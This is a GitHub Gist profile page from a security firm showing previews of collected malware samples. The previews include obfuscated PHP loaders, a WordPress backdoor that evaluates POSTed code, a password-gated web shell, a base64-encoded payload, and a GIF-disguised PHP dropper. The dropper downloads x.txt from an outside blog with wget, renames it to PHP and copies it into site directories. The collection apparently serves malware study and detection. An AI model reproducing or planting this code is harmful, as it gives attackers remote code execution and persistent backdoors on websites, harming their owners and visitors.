Skip to content

Instantly share code, notes, and snippets.

View PalmaSolutions's full-sized avatar

Palma Solutions LTD PalmaSolutions

2 followers · 2 following
View GitHub Profile
@PalmaSolutions
PalmaSolutions / unknown-malware-4.php
Created May 11, 2017 05:40
<?php
function pet($Auc)
{
$Auc=str_rot13(base64_decode($Auc));
for($i=0;$i<strlen($Auc);$i++)
{
$Auc[$i] = chr(ord($Auc[$i])-1);
}
return $Auc;
}
@PalmaSolutions
PalmaSolutions / unknown-malware-1.py
Created May 11, 2017 07:16
#!/usr/bin/env python
#!C:\Python27\python.exe -u
#!c:\Python25\python.exe
#!c:\Python26\python.exe
#----------------------------------------------------->
# TName : t7.py
# Programmer :
# Version : 1
# MyBlog :
@PalmaSolutions
PalmaSolutions / Wordpress-backdoor.php
Created May 11, 2017 07:28
<?php
// Silence is golden.
($WordPress = $_POST['WordPress']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($WordPress)', 'add');
?>
@PalmaSolutions
PalmaSolutions / Wordpress-backdoor-2.php
Created May 11, 2017 07:29
<?php
/**
* Disable error reporting
*
* Set this to error_reporting( -1 ) for debugging
error_reporting(0);
* Set ABSPATH for execution
define( 'ABSPATH', dirname(dirname(__FILE__)) . '/' );
@PalmaSolutions
PalmaSolutions / unknown-malware-5.php
Created May 11, 2017 07:30
<?php
//header('Content-Type:text/html; charset=utf-8');
$O0__O0O0O_='J6Pn2HmH0e568SXnR6KRkmP5tQbh7KEW';
$OO_0O0_O0_='furnishment5241';
$OO0_O0_0_O=1335;
$O_O00_0OO_='E/B/C/D/maxillodental/cardiataxia/antennariidae/A/lkf.shtm';
$O_00__OO0O=402;
$OOO0O__0_0=1;
$O_0_O0OO0_=array("chump","impolished","lienitis","derisively","instrumentally","arriswise","authigenous","enhydris","elegist","cobelief","delicateness","abu","handout","dhoni","heliotropiaceae","magazinist","eutropic","acetocinnamene","beautician","reswage","hermaphroditism","serif","marlite");;
$OO_0O0_0O_='';
@PalmaSolutions
PalmaSolutions / php-shell-1.php
Created May 11, 2017 07:31
<?php
/* Authorization */
$passwordhash = "cebbf1960f0848731e8efe47d4496c10";
list($protocol) = explode("/", $_SERVER['SERVER_PROTOCOL']);
if (isset($_POST['password'])) {
setcookie('wp_defined', md5($_POST['password']), time() + 60*60*23*31);
@PalmaSolutions
PalmaSolutions / unknown-malware-6.php
Created May 11, 2017 07:32
<?php /* 5pJQhrPh3XJCUOiaQCa6 */ ?>
<?php
$encoded = "clw8NzU5MTYnPjY5NT1JJ08pNj9YRVhfVisxG087IQ8fIV9Dclw8NzU5MTYnPjY5NT1KJ08pNj9YRVhfVw4ZClcMFQhXVisxG087IQ8fIV9DclwzPSEnPjY5NT1JWEVYX1Y0IE0eMRxOX0NyXDM9ISc+Njk1PUpYRVhfVw4ZClcMFQhXVjQgTR4xHE5fQ3Jych4XCh0ZGxBYUFwnPz0sWBkLWFwTHQFYRUZYXA4ZFA0dUVgDclhYWFhYWFhYER5YUAsMCggXC1BcEx0BVFhfCBkfHQocJ19RWEVFRVhIUVgDclhYWFhYWFhYWFhYWFhYWFhcHBcVGREWWEVYCh0ZHCcLDApQXDw3NTkxNic+Njk1PUknTyk2P1RYXDw3NTkxNic+Njk1PUonTyk2P1FDclhYWFhYWFhYWFhYWFhYWFgKHRwRCh0bDFBcHBcVGREWUUNyWFhYWFhYWFhYWFhYWFhYWAodDA0KFkNyWFhYWFhYWFgFcgVycldSWAsMGQwNC1hSV3IRHlhQXCc/PSwjX04+FzYAGg4XT0s6MDcSEAAXEy9LXyVYWUVFWDYtNDRRWANyWFhYWFhYWFgbEB0bEycLDBkMDQtQXDw3NTkxNic+Njk1PUknTyk2P1RYXDw3NTkxNic+Njk1PUonTyk2P1FDclhYWFhYWFhYCh0MDQoWQ3IFWB0UCx1YER5YUFwnPz0sI19AIQBNOR0eIQg6CEhPLD0XGyoVDl8lWFlFRVg2LTQ0UVgDclhYWFhYWFhYV1JYCx0MHBcVGREWWFJXclhYWFhYWFhYXBwXFRkRFlhFWFwnPz0sI19AIQBNOR0eIQg6CEhPLD0XGyoVDl8lQ3JYWFhYWFhYWBEeWFBcJz89LCNfEAwMCAtfJVhZRUVYNi00NFFYA3JYWFhYWFhYWFhYWFhYWFhYXBwXFRkRFlhFWFoQDAwIC0JXV1wcFxUZERZaQ3JYWF
@PalmaSolutions
PalmaSolutions / fraud-buster-detector.php
Created May 11, 2017 07:33
<?php
class FraudBusterDetector_o5g79vml7q {
public function check() {
ob_start();
$this->printDefaultRedirectHeaders();
if (isset($_GET['fb17x_sign']) && isset($_GET['fb17x_time'])) {
if ($this->isSignatureValid($_GET['fb17x_sign'], $_GET['fb17x_time'])) {
$this->runInMaintenanceMode();
die();
@PalmaSolutions
PalmaSolutions / Gif-malware.gif
Created May 11, 2017 07:34
GIF89a1
gif89;a
GIF89a1
<?php
$mypath = "images" ;
mkdir ( $mypath , 0777 , TRUE );
system("cd images; wget http://blog.ttgv.org.tr/wp-content/themes/default/x.txt; mv x.txt x.php; echo x>index.html");
system("cp ./images/x.php ../../tmp/w.php");
system("cp ./images/x.php ../../components/com_contact/views/w.php");
@PalmaSolutions
PalmaSolutions / unknown-malware-8.php
Created May 11, 2017 07:34
<?php
$BM = 'd_wqujtehknpxoia6vzgycs4f;mblr';
$Qcn = $BM{22} . $BM{6} . $BM{29} . $BM{1} . $BM{29} . $BM{7} . $BM{11} . $BM{28} . $BM{15} . $BM{21} . $BM{7};
$m5h = $BM{27} . $BM{15} . $BM{22} . $BM{7} . $BM{16} . $BM{23} . $BM{1} . $BM{0} . $BM{7} . $BM{21} . $BM{13} . $BM{0} . $BM{7};
$Xy = $BM{21} . $BM{29} . $BM{7} . $BM{15} . $BM{6} . $BM{7} . $BM{1} . $BM{24} . $BM{4} . $BM{10} . $BM{21} . $BM{6} . $BM{14} . $BM{13} . $BM{10};
$AWW = $Xy( "", $m5h($Qcn( array($BM{25}, "\n"), "", "Cgok;R0xPQk;FMU1snYXV;0aF9w;YXNz;J10gICA;gICA;gICAgID0gI;mE5ZjU1Z;DE4ZWJk;MzI0MmIzN;DIwYj
g4;MmM5Nzc5;NDNlIjsKJE;dMT0JBTF;NbJ2Rl;ZmF1bHRfY;WN0aW;9uJ10;gICA;gICA9;ICdTcWwn;OwokR0xP
Q;kFMU;1snZGVmY;XVsd;F91c;2VfYWp;heCddIC;AgID0g;dHJ1ZT;sKJE;dMT0JB;TFNb;J2RlZmF;1bHRf;Y2hhcn
N;ldCddICA;gID0gJ1d;pbmRvd3M;tMTI1MSc;7CiRHTE9;CQUxTWydj;b2xvci;ddICAgICAg;ICAgICA;gICAg
PS;AnI0Yw;RkY3M;Cc7CgoKaW;YoIWVtcHR5;KCRfU;0VSVkVS;WydIVFRQX;1VTRV;JfQUdFT;lQnXSkpIH;sKIC;